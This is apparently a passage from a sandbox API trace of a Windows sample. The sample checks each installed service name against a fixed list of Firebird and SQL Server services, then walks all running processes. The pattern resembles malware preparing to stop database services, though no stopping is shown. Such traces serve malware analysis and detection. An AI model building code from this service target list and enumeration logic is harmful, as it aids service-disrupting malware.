	[0058.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1
	[0058.493] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1
	[0058.493] lstrlenW (lpString="ProfSvc") returned 7
	[0058.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1
	[0058.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1
	[0058.493] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1
	[0058.493] lstrlenW (lpString="RpcEptMapper") returned 12
	[0058.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0058.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1
	[0058.493] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1
	[0058.493] lstrlenW (lpString="RpcSs") returned 5
	[0058.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1
	[0058.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1
	[0058.493] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1
	[0058.493] lstrlenW (lpString="SamSs") returned 5
	[0058.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1
	[0058.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1
	[0058.493] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1
	[0058.493] lstrlenW (lpString="Schedule") returned 8
	[0058.493] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1
	[0058.493] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1
	[0058.493] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1
	[0058.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1
	[0058.494] lstrlenW (lpString="SecurityHealthService") returned 21
	[0058.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0058.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1
	[0058.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1
	[0058.494] lstrlenW (lpString="SENS") returned 4
	[0058.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1
	[0058.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1
	[0058.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1
	[0058.494] lstrlenW (lpString="ShellHWDetection") returned 16
	[0058.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0058.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1
	[0058.494] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1
	[0058.494] lstrlenW (lpString="Spooler") returned 7
	[0058.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1
	[0058.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1
	[0058.494] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1
	[0058.494] lstrlenW (lpString="SSDPSRV") returned 7
	[0058.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1
	[0058.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1
	[0058.494] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1
	[0058.494] lstrlenW (lpString="StateRepository") returned 15
	[0058.494] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1
	[0058.494] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1
	[0058.494] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1
	[0058.494] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1
	[0058.495] lstrlenW (lpString="SysMain") returned 7
	[0058.495] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1
	[0058.495] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1
	[0058.495] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1
	[0058.495] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1
	[0058.495] HeapFree (in: hHeap=0x650000, dwFlags=0x0, lpMem=0x3bfae80 | out: hHeap=0x650000) returned 1
	[0058.495] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x384
	[0058.499] Process32FirstW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0058.499] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0058.537] lstrlenW (lpString="System") returned 6
	[0058.537] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0058.538] lstrlenW (lpString="smss.exe") returned 8
	[0058.538] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0058.539] lstrlenW (lpString="csrss.exe") returned 9
	[0058.539] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0058.539] lstrlenW (lpString="wininit.exe") returned 11
	[0058.539] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0058.540] lstrlenW (lpString="csrss.exe") returned 9
	[0058.540] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0058.541] lstrlenW (lpString="winlogon.exe") returned 12
	[0058.541] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0058.541] lstrlenW (lpString="services.exe") returned 12
	[0058.541] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0058.542] lstrlenW (lpString="lsass.exe") returned 9
	[0058.542] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.543] lstrlenW (lpString="svchost.exe") returned 11
	[0058.543] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0058.543] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0058.544] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1
	[0058.544] lstrlenW (lpString="fontdrvhost.exe") returned 15
	[0058.544] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.545] lstrlenW (lpString="svchost.exe") returned 11
	[0058.545] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0058.545] lstrlenW (lpString="dwm.exe") returned 7
	[0058.546] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.546] lstrlenW (lpString="svchost.exe") returned 11
	[0058.546] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.547] lstrlenW (lpString="svchost.exe") returned 11
	[0058.547] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.547] lstrlenW (lpString="svchost.exe") returned 11
	[0058.548] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.548] lstrlenW (lpString="svchost.exe") returned 11
	[0058.548] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.552] lstrlenW (lpString="svchost.exe") returned 11
	[0058.552] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.553] lstrlenW (lpString="svchost.exe") returned 11
	[0058.553] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.554] lstrlenW (lpString="svchost.exe") returned 11
	[0058.554] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.554] lstrlenW (lpString="svchost.exe") returned 11
	[0058.554] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.555] lstrlenW (lpString="svchost.exe") returned 11
	[0058.555] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0058.556] lstrlenW (lpString="spoolsv.exe") returned 11
	[0058.556] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.556] lstrlenW (lpString="svchost.exe") returned 11
	[0058.556] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.557] lstrlenW (lpString="svchost.exe") returned 11
	[0058.557] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0058.558] lstrlenW (lpString="audiodg.exe") returned 11
	[0058.558] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0058.558] lstrlenW (lpString="sihost.exe") returned 10
	[0058.558] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0058.559] lstrlenW (lpString="svchost.exe") returned 11
	[0058.559] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0058.560] lstrlenW (lpString="taskhostw.exe") returned 13
	[0058.560] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0058.560] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0058.561] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0058.561] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0058.561] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x41, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0058.562] lstrlenW (lpString="explorer.exe") returned 12
	[0058.562] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0058.562] lstrlenW (lpString="Memory Compression") returned 18
	[0058.562] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0058.563] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0058.563] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0058.564] lstrlenW (lpString="SearchUI.exe") returned 12
	[0058.564] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0058.565] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0058.565] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0058.566] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0058.566] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0058.567] lstrlenW (lpString="taskhostw.exe") returned 13
	[0058.567] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1
	[0058.567] lstrlenW (lpString="UsoClient.exe") returned 13
	[0058.567] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0058.568] lstrlenW (lpString="taskhostw.exe") returned 13
	[0058.568] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1
	[0058.569] lstrlenW (lpString="DeviceCensus.exe") returned 16
	[0058.569] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xff8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1
	[0058.569] lstrlenW (lpString="UNPCampaignManager.exe") returned 22
	[0058.569] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0058.570] lstrlenW (lpString="msoia.exe") returned 9
	[0058.570] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="AppHostRegistrationVerifier.exe")) returned 1
	[0058.571] lstrlenW (lpString="AppHostRegistrationVerifier.exe") returned 31
	[0058.571] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0058.571] lstrlenW (lpString="msoia.exe") returned 9
	[0058.571] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="roof.exe")) returned 1
	[0058.572] lstrlenW (lpString="roof.exe") returned 8
	[0058.572] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="minority-weird-increases.exe")) returned 1
	[0058.573] lstrlenW (lpString="minority-weird-increases.exe") returned 28
	[0058.573] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="halloween_french_yugoslavia.exe")) returned 1
	[0058.573] lstrlenW (lpString="halloween_french_yugoslavia.exe") returned 31
	[0058.573] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x37c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="cause.exe")) returned 1
	[0058.574] lstrlenW (lpString="cause.exe") returned 9
	[0058.574] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="occasionstax.exe")) returned 1
	[0058.575] lstrlenW (lpString="occasionstax.exe") returned 16
	[0058.575] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="distributors.exe")) returned 1
	[0058.575] lstrlenW (lpString="distributors.exe") returned 16
	[0058.575] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="month utilities transmit.exe")) returned 1
	[0058.576] lstrlenW (lpString="month utilities transmit.exe") returned 28
	[0058.576] Process32NextW (in: hSnapshot=0x384, lppe=0x252fd2c | out: lppe=0x252fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="rand.exe")) returned 1
	[0058.577] lstrlenW (lpString="rand.exe") returned 8
